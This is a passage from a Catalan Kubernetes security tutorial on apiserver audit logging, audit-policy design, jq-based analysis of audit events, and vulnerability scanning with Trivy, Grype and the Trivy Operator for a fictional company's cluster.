Al llarg d'aquest mòdul hem tancat quatre dimensions de la seguretat de Rutas Norte: qui pot fer què (08-01), què pot fer un contenidor (08-02 i 08-03), què parla amb què (08-04) i quines imatges s'executen (08-05). Hem posat portes a tot arreu.
Però van quedar dues preguntes sense resposta, i són exactament les dues que fa qualsevol auditoria.
La primera és "qui va fer què?". Si demà descobrim que el Secret amb les credencials de postgres-reserves va ser llegit, o que un Deployment va desaparèixer, o que una ServiceAccount va fer alguna cosa estranya a les tres de la matinada, ara mateix no tenim manera de saber-ho. Hem posat portes, però no portem registre de qui les creua.
La segona és "quins forats tinc ara mateix?". Sabem escanejar una imatge abans de publicar-la, però les que fa mesos que són a producció acumulen vulnerabilitats noves cada setmana i ningú no les està mirant. I no només les imatges: la configuració del mateix clúster pot tenir desviacions que ningú no ha revisat.
Aquesta lliçó tanca el mòdul responent a totes dues, i acaba amb el que de debò falta a la majoria dels equips: la gestió de vulnerabilitats com a procés, no com una llista d'alertes que ningú no mira.
Advertiment important. La política d'auditoria, els llindars de vulnerabilitat i el procés de gestió que es descriuen aquí són un exemple raonable, no una plantilla universal. Els ha de dissenyar i revisar un professional de seguretat coneixent el model d'amenaces de l'organització. I com que el registre d'auditoria de Rutas Norte documenta accessos a sistemes que tracten dades personals de clients, tant el seu contingut com el seu termini de conservació han de ser aprovats pel responsable de compliment normatiu: un registre d'auditoria mal configurat pot convertir-se ell mateix en una font de dades personals que cal protegir. L'enfocament d'aquesta lliçó és exclusivament defensiu: detectar, registrar i corregir.
Contingut
- El registre d'auditoria de l'apiserver
- La política d'auditoria i els seus quatre nivells
- Una política raonable per a Rutas Norte
- Anàlisi pràctica d'esdeveniments d'auditoria
- Escaneig de vulnerabilitats d'imatges amb Trivy
- El Trivy Operator dins del clúster
- Avaluació del clúster amb kube-bench i els estàndards CIS
- Detecció en temps d'execució amb Falco
- Integrar les alertes de Falco amb Alertmanager
- Gestió de vulnerabilitats com a procés
- Evidències i auditories de compliment
- Llista de verificació final de seguretat de la plataforma
- Errors comuns i consells
- Exercicis
- Conclusió
- El registre d'auditoria de l'apiserver
Recorda de 08-01 que tot a Kubernetes passa per l'apiserver: kubectl, els controladors, el kubelet, els operadors, informes-ocupacio. Això converteix l'apiserver en el punt perfecte per registrar qui fa què.
El registre d'auditoria (audit log) és un flux d'esdeveniments en JSON que documenta cada petició: qui la va fer, des d'on, què va demanar, què va respondre el servidor i quan.
Les quatre etapes d'una petició
Cada petició pot generar fins a quatre esdeveniments, segons en quin moment es registri:
| Etapa | Quan s'emet | Ús |
|---|---|---|
RequestReceived |
Tot just arribar la petició | Detectar peticions que es queden penjades |
ResponseStarted |
En començar a respondre | Només per a peticions llargues (watch) |
ResponseComplete |
En acabar la resposta | L'esdeveniment útil per defecte |
Panic |
Si el servidor falla | Diagnòstic de fallades internes |
Gairebé sempre interessa només ResponseComplete: és un esdeveniment per petició, amb el resultat ja conegut.
Anatomia d'un esdeveniment
{
"kind": "Event",
"apiVersion": "audit.k8s.io/v1",
"level": "Metadata",
"auditID": "8f3c1e94-2b7a-4d5e-9c81-6a4f2e8d1b03",
"stage": "ResponseComplete",
"requestURI": "/api/v1/namespaces/rutas-norte-pro/secrets/postgres-reserves-credencials",
"verb": "get",
"user": {
"username": "[email protected]",
"groups": ["plataforma", "system:authenticated"]
},
"sourceIPs": ["10.4.12.87"],
"userAgent": "kubectl/v1.30.3 (linux/amd64) kubernetes/6fc0a69",
"objectRef": {
"resource": "secrets",
"namespace": "rutas-norte-pro",
"name": "postgres-reserves-credencials",
"apiVersion": "v1"
},
"responseStatus": { "metadata": {}, "code": 200 },
"requestReceivedTimestamp": "2026-08-06T03:14:22.481930Z",
"stageTimestamp": "2026-08-06T03:14:22.489114Z",
"annotations": {
"authorization.k8s.io/decision": "allow",
"authorization.k8s.io/reason": "RoleBinding \"plataforma-admin\" of ClusterRole \"admin\" to Group \"plataforma\""
}
}Llegeix aquell esdeveniment amb atenció, perquè resumeix tot el mòdul. Ens diu:
- Qui:
[email protected], del grupplataforma. - Què: va llegir (
get) el Secret amb les credencials de la base de dades de clients. - Quan: a les 03:14 de la matinada.
- Des d'on: la IP 10.4.12.87, amb
kubectl. - Amb quin permís: el
RoleBindingque vam escriure a 08-01. - Resultat: 200, és a dir, ho va aconseguir.
Sense registre d'auditoria, cap d'aquelles sis coses no seria coneixible. Amb ell, la pregunta "algú va llegir les credencials de la base de dades?" té resposta en segons.
Fixa't especialment en el camp annotations: l'anotació authorization.k8s.io/reason et diu quin binding de RBAC va concedir el permís. És una eina d'auditoria de RBAC extraordinària: quan vegis un accés que no esperaves, aquella línia et diu exactament quin manifest cal corregir.
Configurar el registre d'auditoria
Requereix tocar els paràmetres de l'apiserver, així que necessites accés al pla de control:
# /etc/kubernetes/manifests/kube-apiserver.yaml (fragment)
spec:
containers:
- name: kube-apiserver
command:
- kube-apiserver
# Fitxer amb la política: què es registra i amb quin detall
- --audit-policy-file=/etc/kubernetes/auditoria/politica.yaml
# Destí de fitxer
- --audit-log-path=/var/log/kubernetes/auditoria.log
- --audit-log-maxage=90 # dies que es conserven
- --audit-log-maxbackup=30 # nombre de fitxers rotats
- --audit-log-maxsize=200 # MB per fitxer abans de rotar
- --audit-log-format=json
volumeMounts:
- name: politica-auditoria
mountPath: /etc/kubernetes/auditoria
readOnly: true
- name: logs-auditoria
mountPath: /var/log/kubernetes
volumes:
- name: politica-auditoria
hostPath:
path: /etc/kubernetes/auditoria
type: DirectoryOrCreate
- name: logs-auditoria
hostPath:
path: /var/log/kubernetes
type: DirectoryOrCreateA Kubernetes gestionat (10-06) això es configura des del proveïdor: EKS envia els logs a CloudWatch, AKS a Azure Monitor i GKE a Cloud Logging. La política sol ser fixa o parcialment configurable, cosa que és una limitació real a tenir en compte.
Fitxer o webhook
| Destí | Com funciona | A favor | En contra |
|---|---|---|---|
| Fitxer | S'escriu al disc del node de control | Senzill, sense dependències, no es perd si la xarxa falla | És al node: qui el comprometi el pot esborrar. Cal recollir-lo |
| Webhook | S'envia a un servei HTTP extern | Centralitzat, fora de l'abast de qui comprometi el clúster, retenció independent | Si el destí no respon, es poden perdre esdeveniments; afegeix latència |
# /etc/kubernetes/auditoria/webhook.yaml
apiVersion: v1
kind: Config
clusters:
- name: recollector-auditoria
cluster:
server: https://auditoria.rutasnorte.example/esdeveniments
certificate-authority: /etc/kubernetes/pki/ca-auditoria.crt
contexts:
- name: auditoria
context:
cluster: recollector-auditoria
user: apiserver-rutasnorte
current-context: auditoria
users:
- name: apiserver-rutasnorte
user:
client-certificate: /etc/kubernetes/pki/apiserver-auditoria.crt
client-key: /etc/kubernetes/pki/apiserver-auditoria.key - --audit-webhook-config-file=/etc/kubernetes/auditoria/webhook.yaml
- --audit-webhook-mode=batch # agrupa esdeveniments: menys latència
- --audit-webhook-batch-max-size=400
- --audit-webhook-batch-max-wait=30sRecomanació per a Rutas Norte: tots dos. Fitxer com a xarxa de seguretat local, i webhook cap al sistema de logs centralitzat.
I aquí hi ha un punt de disseny important que connecta amb el mòdul 7: el destí del webhook no ha de ser el mateix Elasticsearch on van els logs d'aplicació. La raó és de contenció: si algú compromet el clúster, té accés a l'Elasticsearch on escriuen els pods, i podria manipular o esborrar les evidències. El registre d'auditoria ha d'anar a un sistema al qual el clúster només pugui escriure, mai llegir ni esborrar. És una diferència arquitectònica petita amb una conseqüència enorme durant un incident.
- La política d'auditoria i els seus quatre nivells
Registrar-ho tot amb màxim detall és inviable: un clúster mitjà genera desenes de milers de peticions per minut, la majoria d'elles soroll (el kubelet informant de l'estat dels nodes, els controladors observant canvis). La política decideix què es registra i amb quant detall.
Els quatre nivells
| Nivell | Què registra | Mida | Quan fer-lo servir |
|---|---|---|---|
None |
Res. Descarta l'esdeveniment | 0 | Soroll conegut: sondes, peticions de sistema |
Metadata |
Qui, què, quan, resultat. Sense cossos | Petita | El nivell per defecte per a gairebé tot |
Request |
Metadades + el cos enviat | Gran | Escriptures que cal poder reconstruir |
RequestResponse |
Metadades + cos enviat i retornat | Molt gran | Casos molt concrets i justificats |
Avís crític sobre
RequestResponsei els Secrets. Si registresRequestResponsesobresecrets, el contingut del secret queda escrit en text al fitxer d'auditoria. Les credencials depostgres-reservesacabarien al log, que probablement es replica al sistema de logs centralitzat i a les seves còpies de seguretat. Hauries convertit el teu registre d'auditoria en el pitjor magatzem de secrets possible.Per a Secrets, fes servir sempre
Metadata. Saber qui va llegir el secret és exactament el que necessites; saber què contenia ja ho saps, i no ha d'estar en cap log.
El mateix raonament s'aplica a qualsevol recurs que pugui contenir dades personals. Si api-reserves tingués un recurs personalitzat amb dades de clients, Request sobre ell registraria aquelles dades al log d'auditoria. És exactament el tipus de decisió que ha de revisar el responsable de compliment.
Com s'avalua la política
És una llista ordenada de regles. S'aplica la primera que coincideix i es descarten les altres. L'ordre ho és tot:
apiVersion: audit.k8s.io/v1
kind: Policy
rules:
- level: None # <- aquesta s'avalua primer
resources:
- group: ""
resources: ["events"]
- level: Metadata # <- només s'hi arriba si l'anterior no ha coinciditPosar les regles de None (el soroll) al principi i les específiques després és el que fa que el fitxer sigui manejable.
Criteris de coincidència
| Camp | Què filtra | Exemple |
|---|---|---|
users |
Noms d'usuari exactes | system:kube-scheduler |
userGroups |
Grups | system:nodes |
verbs |
Operacions | ["get", "list", "watch"] |
resources |
Grup d'API i recursos | {group: "", resources: ["secrets"]} |
namespaces |
Namespaces | ["rutas-norte-pro"] |
nonResourceURLs |
Rutes que no són recursos | ["/healthz*", "/version"] |
omitStages |
Etapes que no es registren | ["RequestReceived"] |
- Una política raonable per a Rutas Norte
L'objectiu és registrar en detall el que importa —accessos a Secrets, escriptures a producció, canvis de RBAC— sense ofegar-se en soroll.
# /etc/kubernetes/auditoria/politica.yaml
apiVersion: audit.k8s.io/v1
kind: Policy
# RequestReceived duplica cada esdeveniment sense aportar res en el cas general
omitStages:
- RequestReceived
rules:
# ============================================================
# BLOC 1: soroll que NO es registra (va primer, per ordre)
# ============================================================
# Comprovacions de salut i descobriment de l'API: milers per minut
- level: None
nonResourceURLs:
- /healthz*
- /livez*
- /readyz*
- /version
- /openapi*
- /apis
- /apis/*
- /api
- /api/*
- /metrics
# Els nodes informant del seu estat constantment
- level: None
users: ["system:kubelet"]
userGroups: ["system:nodes"]
verbs: ["get", "list", "watch"]
resources:
- group: ""
resources: ["nodes", "nodes/status", "pods", "endpoints"]
# Els controladors del pla de control observant canvis
- level: None
userGroups: ["system:serviceaccounts:kube-system"]
verbs: ["get", "list", "watch"]
# Els esdeveniments de Kubernetes: són moltíssims i ja es recullen a part (07-06)
- level: None
resources:
- group: ""
resources: ["events"]
# Renovació d'arrendaments d'elecció de líder: constant i sense interès
- level: None
resources:
- group: "coordination.k8s.io"
resources: ["leases"]
# ============================================================
# BLOC 2: el crític, amb el màxim detall que és segur
# ============================================================
# --- SECRETS: qui els toca, SEMPRE, a tots els namespaces ---
# Nivell Metadata a propòsit: registrar el contingut escriuria
# les credencials de la base de dades de clients al log.
- level: Metadata
resources:
- group: ""
resources: ["secrets"]
omitStages:
- RequestReceived
# --- Emissió de tokens de ServiceAccount: via de suplantació (08-01) ---
- level: Metadata
resources:
- group: ""
resources: ["serviceaccounts/token"]
# --- RBAC: qualsevol canvi en qui pot fer què ---
# Aquí sí Request: volem poder reconstruir exactament quin permís
# es va concedir. Un Role no conté dades personals.
- level: Request
resources:
- group: "rbac.authorization.k8s.io"
resources: ["roles", "rolebindings", "clusterroles", "clusterrolebindings"]
# --- Polítiques d'admissió i de xarxa: desactivar-les és un atac ---
- level: Request
resources:
- group: "admissionregistration.k8s.io"
- group: "kyverno.io"
- group: "networking.k8s.io"
resources: ["networkpolicies"]
- group: "policy"
# --- Configuració dels namespaces: inclou les etiquetes del PSA (08-03) ---
- level: Request
verbs: ["create", "update", "patch", "delete"]
resources:
- group: ""
resources: ["namespaces"]
# ============================================================
# BLOC 3: producció, amb més detall que la resta
# ============================================================
# Tota ESCRIPTURA a rutas-norte-pro, amb el cos de la petició
- level: Request
verbs: ["create", "update", "patch", "delete", "deletecollection"]
namespaces: ["rutas-norte-pro"]
# Operacions interactives sobre pods: exec, attach, port-forward,
# contenidors efímers. Són les de més risc (08-01).
- level: Request
resources:
- group: ""
resources:
- pods/exec
- pods/attach
- pods/portforward
- pods/ephemeralcontainers
# Lectura de logs: poden contenir informació de clients
- level: Metadata
resources:
- group: ""
resources: ["pods/log"]
# ============================================================
# BLOC 4: la resta
# ============================================================
# Escriptures en qualsevol altre namespace: metadades
- level: Metadata
verbs: ["create", "update", "patch", "delete", "deletecollection"]
# Tota la resta (lectures normals): metadades
- level: MetadataLes decisions, explicades
| Decisió | Raó |
|---|---|
omitStages: [RequestReceived] global |
Divideix el volum per dos sense perdre informació útil |
None per a sondes i descobriment |
És el 70-80 % del volum i no aporta res |
None per al kubelet i els controladors en lectura |
Soroll constant de funcionament normal |
Metadata per a Secrets, mai Request |
Registrar el contingut escriuria les credencials al log |
Request per a RBAC |
Volem poder reconstruir quin permís exacte es va concedir |
Request per a polítiques d'admissió i de xarxa |
Desactivar-les és el pas previ a altres accions |
Request per a escriptures a rutas-norte-pro |
Producció mereix més detall |
Request per a pods/exec i afins |
Màxim risc: accés interactiu a un contenidor |
Metadata per a pods/log |
Saber qui va llegir logs, sense duplicar-ne el contingut |
Estimació de volum
Abans d'aplicar la política a producció, mesura. A rutas-norte-pre:
# Mida del log en una hora
ls -lh /var/log/kubernetes/auditoria.log
# Distribució per nivell
jq -r '.level' /var/log/kubernetes/auditoria.log | sort | uniq -c | sort -rn# Quins recursos generen més esdeveniments: candidats a afegir a la llista de None
jq -r '.objectRef.resource // "sense-recurs"' /var/log/kubernetes/auditoria.log \
| sort | uniq -c | sort -rn | head -10 6218 pods
3891 configmaps
2104 endpointslices
1877 deployments
1442 secrets
998 replicasets
712 services
488 nodes
301 rolebindings
94 pods/logAquella taula és la guia per afinar la política. Si endpointslices genera 2.100 esdeveniments i no els consultaràs mai, afegeix-los a None.
Amb la política anterior, un clúster de la mida de Rutas Norte genera de l'ordre d'1-3 GB al dia. Amb 90 dies de retenció, uns 100-250 GB. És perfectament manejable, però cal planificar-ho i no descobrir-ho quan s'ompli el disc del node de control (cosa que, a més, atura l'apiserver: si no pot escriure el log d'auditoria, deixa de servir peticions).
- Anàlisi pràctica d'esdeveniments d'auditoria
El log d'auditoria només val si saps consultar-lo. Aquí van les consultes que es necessiten de debò, resolent preguntes concretes.
Pregunta 1: qui va llegir les credencials de la base de dades?
És la pregunta d'aquest mòdul.
jq -r 'select(
.objectRef.resource == "secrets" and
.objectRef.namespace == "rutas-norte-pro" and
(.verb == "get" or .verb == "list" or .verb == "watch")
)
| "\(.stageTimestamp) \(.user.username) \(.verb) \(.objectRef.name // "TOTS") \(.sourceIPs[0]) \(.responseStatus.code)"' \
/var/log/kubernetes/auditoria.log | sort2026-08-05T09:12:04Z system:serviceaccount:rutas-norte-pro:api-reserves get api-reserves-bd 10.244.2.19 200
2026-08-05T14:33:41Z [email protected] get postgres-reserves-credencials 10.4.12.87 200
2026-08-06T03:14:22Z [email protected] get postgres-reserves-credencials 10.4.12.87 200
2026-08-06T03:14:58Z [email protected] list TOTS 10.4.12.203 403Quatre línies, quatre històries:
- La primera és normal: la ServiceAccount d'
api-reservesllegint el seu propi secret. - La segona és una lectura de
plataformaen horari laboral. Verificable amb un tiquet. - La tercera és la mateixa persona a les 03:14 de la matinada. No és necessàriament maliciós —pot haver estat una incidència nocturna— però és una anomalia que cal confirmar.
- La quarta és un
403:carles.vega, del grupdesenvolupament, va intentar llistar tots els secrets de producció. El RBAC de 08-01 ho va denegar. Que un desenvolupador intenti això a les 03:14 mereix una conversa, i si no va ser ell, és un incident greu: algú està fent servir les seves credencials.
Fixa't en el valor de registrar també els intents fallits. Un 403 és un senyal de detecció, no un no-esdeveniment.
Pregunta 2: qui va esborrar aquell Deployment?
jq -r 'select(
.verb == "delete" and
.objectRef.resource == "deployments" and
.objectRef.namespace == "rutas-norte-pro"
)
| "\(.stageTimestamp) \(.user.username) va esborrar \(.objectRef.name) des de \(.sourceIPs[0]) agent=\(.userAgent)"' \
/var/log/kubernetes/auditoria.log2026-08-05T16:47:12Z system:serviceaccount:argocd:argocd-application-controller va esborrar exportador-heretat des de 10.244.1.8 agent=argocd-application-controller/v2.12.3Resposta immediata: el va esborrar Argo CD, és a dir, algú va eliminar aquell manifest del repositori de Git. La pregunta es trasllada a l'historial de commits. Sense auditoria, això hauria estat una tarda de conjectures.
Pregunta 3: què va fer aquella ServiceAccount?
SA="system:serviceaccount:rutas-norte-pro:worker-notificacions"
jq -r --arg sa "$SA" 'select(.user.username == $sa)
| "\(.stageTimestamp) \(.verb) \(.objectRef.resource // "-")/\(.objectRef.name // "-") \(.responseStatus.code)"' \
/var/log/kubernetes/auditoria.log | sort | uniq -c | sort -rn | head -20 42 2026-08-06T... get configmaps/worker-config 200
3 2026-08-06T... list secrets/- 403
1 2026-08-06T... create pods/exec 403Les dues últimes línies són un senyal d'alarma clar. worker-notificacions no té cap motiu per intentar llistar secrets ni per intentar obrir una shell en un pod. Els 403 confirmen que el RBAC va funcionar, però que un procés estigui intentant aquelles operacions significa que està fent alguna cosa que no hauria.
Compara amb l'exercici de 08-04, on aquell mateix component apareixia sondejant la xarxa: si totes dues senyals coincideixen en el temps, tens un pod compromès, i ara tens evidència des de dues fonts independents.
Pregunta 4: qui ha entrat en contenidors de producció?
jq -r 'select(
(.objectRef.subresource == "exec" or .objectRef.subresource == "attach" or
.objectRef.subresource == "ephemeralcontainers") and
.objectRef.namespace == "rutas-norte-pro"
)
| "\(.stageTimestamp) \(.user.username) \(.objectRef.subresource) pod=\(.objectRef.name) \(.responseStatus.code)"' \
/var/log/kubernetes/auditoria.log2026-08-04T11:02:33Z [email protected] exec pod=api-reserves-6d4f8b9c7-k2m4x 101
2026-08-06T02:58:14Z [email protected] exec pod=postgres-reserves-0 403El codi 101 és "canvi de protocol": la sessió es va establir. El 403 de la segona línia confirma que el RBAC de 08-01 va impedir que algú de desenvolupament entrés a la base de dades de clients. Exactament el que vam dissenyar.
Pregunta 5: ha canviat algú el RBAC?
jq -r 'select(
.objectRef.apiGroup == "rbac.authorization.k8s.io" and
(.verb == "create" or .verb == "update" or .verb == "patch" or .verb == "delete")
)
| "\(.stageTimestamp) \(.user.username) \(.verb) \(.objectRef.resource)/\(.objectRef.name)"' \
/var/log/kubernetes/auditoria.log2026-08-06T01:33:07Z [email protected] create clusterrolebindings/depuracio-temporalUn ClusterRoleBinding creat a la una de la matinada amb un nom que diu "temporal". Amb level: Request a la política de RBAC, podem veure exactament què concedia:
jq -r 'select(.objectRef.name == "depuracio-temporal") | .requestObject' \
/var/log/kubernetes/auditoria.log{
"kind": "ClusterRoleBinding",
"apiVersion": "rbac.authorization.k8s.io/v1",
"metadata": { "name": "depuracio-temporal" },
"roleRef": {
"apiGroup": "rbac.authorization.k8s.io",
"kind": "ClusterRole",
"name": "cluster-admin"
},
"subjects": [
{ "kind": "Group", "name": "desenvolupament", "apiGroup": "rbac.authorization.k8s.io" }
]
}Algú va concedir cluster-admin a tot l'equip de desenvolupament durant una incidència nocturna. Si continua existint, és una troballa greu. Aquesta és precisament la classe de cosa que l'apartat 11 de la lliçó 08-01 ens deia que cal buscar a la revisió trimestral, i ara tenim la data, l'hora i el responsable.
Un guió d'informe diari
#!/usr/bin/env bash
# seguretat/informe-auditoria-diari.sh
# Resum diari d'esdeveniments d'auditoria rellevants.
set -euo pipefail
LOG="${1:-/var/log/kubernetes/auditoria.log}"
DATA=$(date -u +%Y-%m-%d)
echo "=== Informe d'auditoria — $DATA ==="
echo
echo "--- Accessos a Secrets de rutas-norte-pro ---"
jq -r 'select(.objectRef.resource == "secrets" and .objectRef.namespace == "rutas-norte-pro")
| "\(.user.username)"' "$LOG" | sort | uniq -c | sort -rn
echo
echo "--- Sessions interactives a producció (exec/attach/debug) ---"
jq -r 'select((.objectRef.subresource // "") | test("exec|attach|ephemeralcontainers"))
| select(.objectRef.namespace == "rutas-norte-pro")
| "\(.stageTimestamp) \(.user.username) \(.objectRef.name)"' "$LOG"
echo
echo "--- Canvis a RBAC ---"
jq -r 'select(.objectRef.apiGroup == "rbac.authorization.k8s.io")
| select(.verb | test("create|update|patch|delete"))
| "\(.stageTimestamp) \(.user.username) \(.verb) \(.objectRef.resource)/\(.objectRef.name)"' "$LOG"
echo
echo "--- Peticions DENEGADES (403): possible sondeig ---"
jq -r 'select(.responseStatus.code == 403)
| "\(.user.username) -> \(.verb) \(.objectRef.resource // .requestURI)"' "$LOG" \
| sort | uniq -c | sort -rn | head -15
echo
echo "--- Violacions registrades pel Pod Security Admission (08-03) ---"
jq -r 'select(.annotations["pod-security.kubernetes.io/audit-violations"] != null)
| "\(.objectRef.namespace)/\(.objectRef.name): \(.annotations["pod-security.kubernetes.io/audit-violations"])"' \
"$LOG" | sort -uAquella última secció connecta directament amb 08-03: el mode audit del PSA escriu les seves violacions com a anotacions als esdeveniments d'auditoria. Si tens namespaces en enforce: baseline amb audit: restricted, aquesta consulta et diu exactament quins pods no arribarien a restricted.
Aquest informe, executat diàriament i revisat per una persona, és una de les pràctiques de seguretat amb millor relació entre esforç i valor de tot el mòdul.
- Escaneig de vulnerabilitats d'imatges amb Trivy
A 08-05 vam dir que una imatge no es degrada: el món canvia al seu voltant. Ara mesurarem quant.
Trivy és un escàner que compara els components d'una imatge (el SBOM, de fet) amb bases de dades públiques de vulnerabilitats.
Escaneig local
registry.rutasnorte.example/rutasnorte/api-reserves:2.7.1 (debian 12.7)
==========================================================================
Total: 4 (UNKNOWN: 0, LOW: 2, MEDIUM: 1, HIGH: 1, CRITICAL: 0)
┌──────────────┬────────────────┬──────────┬────────┬───────────────────┬───────────────┐
│ Library │ Vulnerability │ Severity │ Status │ Installed Version │ Fixed Version │
├──────────────┼────────────────┼──────────┼────────┼───────────────────┼───────────────┤
│ libssl3 │ CVE-2026-11042 │ HIGH │ fixed │ 3.0.14-1 │ 3.0.15-1 │
│ libc6 │ CVE-2026-10877 │ MEDIUM │ fixed │ 2.36-9 │ 2.36-9+deb12u1│
│ zlib1g │ CVE-2025-98004 │ LOW │ affected│ 1:1.2.13.dfsg-1 │ │
└──────────────┴────────────────┴──────────┴────────┴───────────────────┴───────────────┘
Node.js (node-pkg)
==================
Total: 1 (UNKNOWN: 0, LOW: 0, MEDIUM: 0, HIGH: 0, CRITICAL: 1)
┌──────────────┬────────────────┬──────────┬────────┬───────────────────┬───────────────┐
│ Library │ Vulnerability │ Severity │ Status │ Installed Version │ Fixed Version │
├──────────────┼────────────────┼──────────┼────────┼───────────────────┼───────────────┤
│ jsonwebtoken │ CVE-2026-12033 │ CRITICAL │ fixed │ 9.0.2 │ 9.0.3 │
└──────────────┴────────────────┴──────────┴────────┴───────────────────┴───────────────┘La columna Status és la més important i molta gent la ignora:
| Estat | Significat | Què fer |
|---|---|---|
fixed |
Hi ha una versió corregida disponible | Actualitzar. És accionable |
affected |
Confirmada, sense correcció encara | Mitigar o acceptar; vigilar |
will_not_fix |
El mantenidor no la corregirà | Avaluar si afecta el teu ús |
fix_deferred |
Es corregirà més endavant | Vigilar |
end_of_life |
El component ja no té suport | Migrar: és el més greu |
Un CRITICAL amb estat fixed és urgent i senzill: actualitza la dependència. Un HIGH amb will_not_fix requereix anàlisi, no acció immediata.
Escaneig a la canalització amb llindar
# .gitlab-ci.yml (fragment) — escaneig que trenca la construcció
escanejar-imatge:
stage: verificar
script:
# Actualitzar la base de vulnerabilitats per separat: si falla la
# descàrrega, volem saber-ho, no que l'escaneig passi per defecte
- trivy image --download-db-only
# Informe llegible per al registre de la canalització
- trivy image --severity LOW,MEDIUM,HIGH,CRITICAL "${IMATGE}:${VERSION}"
# Porta de qualitat: CRITICAL o HIGH amb correcció disponible = falla
- |
trivy image \
--severity HIGH,CRITICAL \
--ignore-unfixed \
--exit-code 1 \
--ignorefile .trivyignore \
"${IMATGE}:${VERSION}"
# Informe en format SARIF per a la interfície de la plataforma de CI
- trivy image --format sarif --output trivy.sarif "${IMATGE}:${VERSION}"
# Escaneig de secrets: credencials oblidades a les capes (08-05)
- trivy image --scanners secret --exit-code 1 "${IMATGE}:${VERSION}"
artifacts:
reports:
sast: trivy.sarif
expire_in: 90 daysLes dues opcions que fan això viable:
--ignore-unfixed: només falla per vulnerabilitats amb correcció disponible. Sense això, una vulnerabilitat sense pedaç bloquejaria tots els desplegaments indefinidament, cosa que porta que l'equip desactivi la comprovació. Una porta que sempre està tancada acaba desmuntada.--ignorefile: excepcions documentades.
# .trivyignore
# Format: CVE # motiu — responsable — data de caducitat
#
# AQUEST FITXER ES REVISA EN CADA AUDITORIA TRIMESTRAL.
# Una excepció sense data de caducitat és una fallada de procés.
# El binari afectat (openssl com a eina de línia d'ordres) no és
# present a la imatge distroless; només la llibreria, que no fa servir la ruta
# vulnerable. Confirmat amb l'equip de seguretat.
# Responsable: plataforma — Caduca: 2026-11-01
CVE-2026-10877
# Sense correcció disponible del mantenidor. El component no processa entrada
# externa en el nostre ús. Revisat 2026-08-01.
# Responsable: plataforma — Caduca: 2026-10-01
CVE-2025-98004Aquell format de comentari no és decoratiu: una excepció sense motiu, sense responsable i sense data de caducitat és una vulnerabilitat acceptada en silenci. Ho desenvolupem a l'apartat 10.
Escaneig continu del registre
Aquest és el punt que tanca el buit. Una imatge escanejada al juny pot tenir vulnerabilitats crítiques a l'agost sense que ningú l'hagi tocada.
#!/usr/bin/env bash
# seguretat/escanejar-registre.sh
# Escaneig setmanal de totes les imatges desplegades a producció.
set -uo pipefail
# Obtenir les imatges que estan REALMENT corrent, per digest
kubectl get pods -A -o json | jq -r '
.items[].status.containerStatuses[]?.imageID' \
| grep '^registry.rutasnorte.example' | sort -u > /tmp/imatges-en-us.txt
echo "Imatges en execució: $(wc -l < /tmp/imatges-en-us.txt)"
troballes=0
while read -r imatge; do
resultat=$(trivy image --severity CRITICAL,HIGH --ignore-unfixed \
--format json --quiet "$imatge" 2>/dev/null)
n=$(echo "$resultat" | jq '[.Results[]?.Vulnerabilities[]?] | length')
if [[ "$n" -gt 0 ]]; then
echo "=== $imatge: $n vulnerabilitats amb correcció disponible"
echo "$resultat" | jq -r '.Results[]?.Vulnerabilities[]?
| " \(.Severity) \(.VulnerabilityID) \(.PkgName) \(.InstalledVersion) -> \(.FixedVersion)"' \
| sort -u
troballes=$((troballes + n))
fi
done < /tmp/imatges-en-us.txt
echo
echo "Total de troballes accionables: $troballes"Imatges en execució: 8
=== registry.rutasnorte.example/rutasnorte/api-reserves@sha256:9f2c1d...: 2 vulnerabilitats amb correcció disponible
CRITICAL CVE-2026-12033 jsonwebtoken 9.0.2 -> 9.0.3
HIGH CVE-2026-11042 libssl3 3.0.14-1 -> 3.0.15-1
=== registry.rutasnorte.example/externes/postgres@sha256:2a7f4c...: 1 vulnerabilitats amb correcció disponible
HIGH CVE-2026-10991 libxml2 2.9.14 -> 2.9.14+deb12u2
Total de troballes accionables: 3Escanejar el que està corrent per digest, i no el que diuen els manifests, és la diferència entre saber la teva situació real i suposar-la. Si algun pod està executant un digest diferent de l'esperat (recorda 08-05), aquest guió l'escaneja igualment.
Grype com a alternativa
Grype, d'Anchore, és l'altre escàner àmpliament utilitzat:
| Trivy | Grype | |
|---|---|---|
| Abast | Imatges, sistemes de fitxers, repositoris, IaC, Kubernetes, secrets | Imatges i SBOM |
| Integració amb SBOM | Genera i consumeix | Consumeix SBOM de Syft, del mateix projecte |
| Operador per a Kubernetes | Sí (Trivy Operator) | Via Anchore |
| Velocitat | Molt ràpid | Ràpid |
| Configuració | Àmplia | Més simple |
Tots dos són bons i els seus resultats difereixen lleugerament perquè fan servir fonts de dades parcialment diferents. Fer servir tots dos a la canalització no és paranoia: és una pràctica raonable, perquè un detecta coses que a l'altre se li escapen. Per a Rutas Norte, Trivy com a principal (per l'operador i l'amplitud) i Grype com a segona opinió sobre el SBOM que ja generem a 08-05.
- El Trivy Operator dins del clúster
Escanejar a mà funciona fins que deixes de recordar-te'n. El Trivy Operator ho automatitza: vigila les càrregues de treball del clúster, escaneja les seves imatges i publica els resultats com a recursos personalitzats (recorda els CRDs de 06-06).
helm repo add aqua https://aquasecurity.github.io/helm-charts/
helm install trivy-operator aqua/trivy-operator \
--namespace trivy-system --create-namespace \
--set trivy.ignoreUnfixed=true \
--set operator.scanJobTimeout=10m \
--set operator.vulnerabilityScannerScanOnlyCurrentRevisions=true \
--set operator.scanJobsConcurrentLimit=3Aquell scanJobsConcurrentLimit importa: sense ell, l'operador pot llançar desenes de Jobs d'escaneig simultanis i saturar el clúster just quan menys falta fa.
Els informes com a recursos del clúster
NAME REPOSITORY TAG SCANNER AGE CRITICAL HIGH MEDIUM LOW
replicaset-api-reserves-6d4f8b9c7-api rutasnorte/api-reserves 2.7.1 Trivy 3h 1 1 1 2
replicaset-botiga-web-6f8d9c4b7-nginx externes/nginx-unprivileged 1.27.1 Trivy 3h 0 0 2 4
statefulset-postgres-reserves-postgres externes/postgres 16.4 Trivy 3h 0 1 3 7
statefulset-redis-cache-redis externes/redis 7.4 Trivy 3h 0 0 0 2
replicaset-worker-notificacions-6d4f8-worker rutasnorte/worker-notificacions 3.2.0 Trivy 3h 0 0 1 3Que siguin recursos de Kubernetes té conseqüències molt pràctiques: es consulten amb kubectl, es poden filtrar amb selectors, i l'operador exposa mètriques Prometheus, així que s'integren amb els quadres de comandament i les alertes del mòdul 7 sense cap feina addicional.
# Detall de les vulnerabilitats crítiques d'un informe
kubectl get vulnerabilityreport -n rutas-norte-pro \
replicaset-api-reserves-6d4f8b9c7-api -o json \
| jq -r '.report.vulnerabilities[]
| select(.severity == "CRITICAL")
